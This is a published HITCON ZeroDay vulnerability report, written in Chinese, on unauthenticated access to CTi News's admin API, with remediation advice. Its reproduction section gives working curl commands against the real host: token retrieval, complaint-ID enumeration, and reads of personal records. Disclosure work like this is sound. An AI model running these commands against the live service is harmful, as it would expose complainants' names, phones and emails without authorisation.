Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00749
- Vendor: 中天新聞網
- Title: 中天新聞網 管理後台 API 的認證與授權機制存在缺陷
- Introduction: 管理後台 API 缺乏存取控制,攻擊者無需帳號或登入,即可取得 API token 並讀取全部 7000 多筆民眾投訴資料,每筆包含投訴人真實姓名、手機號碼與電子信箱
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/05/26 19:47:49 : 新提交 (由 CHIEN 更新此狀態)
- 2026/05/26 19:48:52 : 新提交 (由 CHIEN 更新此狀態)
- 2026/05/27 14:30:51 : 新提交 (由 CHIEN 更新此狀態)
- 2026/05/27 14:31:43 : 新提交 (由 CHIEN 更新此狀態)
- 2026/05/28 15:59:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/28 18:25:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/28 18:25:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/28 18:25:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/26 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00749
- 通報者:qian (CHIEN)
- 風險:中
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://api.ctinews.com/api/manager/v1/contact/list
https://api.ctinews.com/api/manager/v1/contact/{id}/detail
敘述
中天新聞網(ctinews.com)管理後台 API 存在權限控管缺陷。
攻擊者不須任何帳號或登入,只需兩步驟即可讀取所有民眾投訴資料的真實姓名、手機號碼與投訴內容:
- 直接呼叫
GET /api/manager/v1/token取得 API token(該端點無任何認證機制) - 使用該 token 呼叫
GET /api/manager/v1/contact/{id}/detail,即可讀取任意投訴人的個資與完整投訴內容
所有投訴記錄的 ID 可從GET /api/manager/v1/contact/list直接取得,目前共 7000 多筆,API 無任何驗證機制,攻擊者可全數提取。外洩內容包含投訴人姓名、手機號碼、電子信箱及完整的投訴內容全文。
重現方式
Step 1 — 取得 API token(不需任何認證)及頁面確認
GET /api/manager/v1/token 端點無需帳號密碼或任何驗證,任何人都可直接取得有效 token:
curl -s "https://api.ctinews.com/api/manager/v1/token"
回應:
{"code": "0000", "data": "7a75374fc9f3f4afbdeea8b9fbab582e"}
Step 2 — 枚舉所有投訴 ID
使用該 token 呼叫 GET /api/manager/v1/contact/list,即可取得所有投訴的 hashed ID 與內容摘要:
curl -s "https://api.ctinews.com/api/manager/v1/contact/list?page=1&per_page=25" \
-H "Authorization: Bearer dd7fcfcb3978becde8da0fe36c1593cb"
回應:
{
"code": "0000",
"data": {
"page": 1,
"pages": 315,
"total": 7856,
"orders": [
{"id": "Qje4x20e61", "content": "沈柏洋用英文…"},
...
]
}
}
Step 3 — 讀取投訴明細(含姓名、電話、Email 與投訴內容)
使用 hashed ID 呼叫 GET /api/manager/v1/contact/{id}/detail,取得完整個資:
投訴明細含個資
curl -s "https://api.ctinews.com/api/manager/v1/contact/m3rjbdKrPl/detail" \
-H "Authorization: Bearer dd7fcfcb3978becde8da0fe36c1593cb"
回應:
{
"code": "0000",
"data": {
"id": "m3rjbdKrPl",
"is_member": false,
"name": "測試王小明2",
"niname": null,
"job": null,
"content": "測試留言內容2 Do Not Process",
"county_id": "臺北市",
"cellphone": "0987654321",
"email": "[email protected]",
"type": 3,
"created_at": "2026-05-26 03:36:21",
"updated_at": "2026-05-26 03:36:21",
"files": [],
"status": 0,
"process_logs": []
}
}
所有 7000 多筆投訴或是建議均可透過相同方式存取姓名、電話、email 與完整內容,無需任何授權。
修補建議
1. Token 端點應要求登入:`GET /api/manager/v1/token` 目前無需認證,應改為僅在管理員登入成功後才發放,並設定 token 有效期限。
2. 資料端點應驗證授權:contact list/detail 端點僅檢查 token 有效性而未驗證使用者是否已登入,應在 Middleware 層加入 session 與角色檢查。
3. 部署 Rate Limiting:API 目前無請求頻率限制(`X-RateLimit-Remaining: 99999999999`),應對管理後台端點加入合理的請求頻率限制。